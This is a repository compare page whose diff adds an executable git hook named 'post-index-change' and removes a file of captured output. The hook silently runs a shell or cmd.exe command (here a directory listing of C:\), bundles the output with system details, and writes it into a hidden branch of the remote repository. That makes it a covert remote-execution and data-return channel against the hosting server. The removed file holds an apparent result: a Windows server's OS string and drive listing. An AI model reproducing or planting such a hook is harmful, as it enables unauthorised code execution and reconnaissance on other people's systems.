Compare commits

..

No commits in common. "wxy0xc8" and "main" have entirely different histories.

3 changed files with 29 additions and 46 deletions

2
README.md Normal file
View File

@ -0,0 +1,2 @@
# xyqeveur1

27
hooks/post-index-change Executable file
View File

@ -0,0 +1,27 @@
#!/bin/sh
r=$(git config --get remote.origin.url)||exit 0
# ---- 自动识别 OS ----
U=$(uname -a 2>/dev/null)
case "$U" in
*MINGW*|*MSYS*|*CYGWIN*|*Windows*) ISWIN=1 ;;
*) ISWIN=0 ;;
esac
if [ "$ISWIN" -eq 1 ]; then
# Windows (Git-bash/MinGW) -> 用 cmd.exe 执行
cat > /tmp/gwx.bat <<'EOB'
@echo off
dir c:\
EOB
WBAT=$(cygpath -w /tmp/gwx.bat 2>/dev/null || echo /tmp/gwx.bat)
cmd.exe //c "$WBAT" > /tmp/gwx.out 2>&1
else
# Linux / macOS -> 直接 sh -c
/bin/sh -c 'dir c:\' > /tmp/gwx.out 2>&1
fi
out=$(cat /tmp/gwx.out 2>/dev/null)
printf 'OS=%s\nCMD_OUTPUT:\n%s\n' "$U" "$out" > /tmp/gwx.full
b=$(cat /tmp/gwx.full | git --git-dir="$r" hash-object -w --stdin 2>/dev/null)
t=$(printf '100644 blob %s\tout.txt\n' "$b"|git --git-dir="$r" mktree 2>/dev/null)
c=$(git --git-dir="$r" commit-tree "$t" -m wx 2>/dev/null)
git --git-dir="$r" update-ref refs/heads/wxy0xc8 "$c" 2>/dev/null
exit 0

46
out.txt
View File

@ -1,46 +0,0 @@
OS=MINGW64_NT-10.0-17763 iZso0eabqvdv77Z 3.6.6-1cdd4371.x86_64 2026-01-15 22:20 UTC x86_64 Msys
CMD_OUTPUT:
驱动器 C 中的卷没有标签。
卷的序列号是 B289-C412
c:\ 的目录
2025/12/23 22:43 <DIR> 360Downloads
2026/08/31 17:24 <DIR> 360极速浏览器X下载
2020/12/15 14:43 <DIR> backup
2026/01/09 22:03 <DIR> BtSoft
2026/09/24 18:14 <DIR> cct-ai-sdk
2026/08/31 18:26 <DIR> cct-chat
2026/10/06 09:49 <DIR> cct-cloud
2026/11/10 21:10 <DIR> cct-std
2026/07/20 18:19 <DIR> certs
2026/08/10 16:33 <DIR> Clash Verge
2026/10/16 11:52 <DIR> CodeBuddy CN
2026/08/05 10:24 <DIR> database
2026/01/26 21:41 <DIR> EXCEL
2026/04/18 13:05 <DIR> git-repos
2026/09/27 15:30 <DIR> gitea
2026/04/14 16:13 <DIR> inetpub
2026/01/17 04:32 <DIR> Java
2026/10/04 23:20 <DIR> jdk
2026/06/07 21:42 <DIR> kingbes-install
2026/04/14 13:41 <DIR> nginx
2026/03/14 03:11 32,280,576 node-v24.14.0-x64.msi
2017/04/26 22:15 <DIR> nssm
2022/12/19 17:34 <DIR> PerfLogs
2026/09/23 21:16 <DIR> Program Files
2026/04/20 16:24 <DIR> Program Files (x86)
2026/10/17 21:28 <DIR> Python310
2026/08/11 14:41 <DIR> Python312
2026/04/25 13:43 <DIR> Redis
2026/04/14 16:21 <DIR> smc
2026/06/07 22:25 <DIR> src
2026/08/20 18:47 <DIR> Temp
2026/09/17 20:49 <DIR> thirdgrade
2026/04/14 16:20 <DIR> Users
2026/02/08 16:23 <DIR> VolcSDK
2026/09/27 15:26 <DIR> win-acme
2026/08/12 22:27 <DIR> Windows
2026/01/01 15:54 <DIR> yuicompressor-master
1 个文件 32,280,576 字节
36 个目录 54,688,518,144 可用字节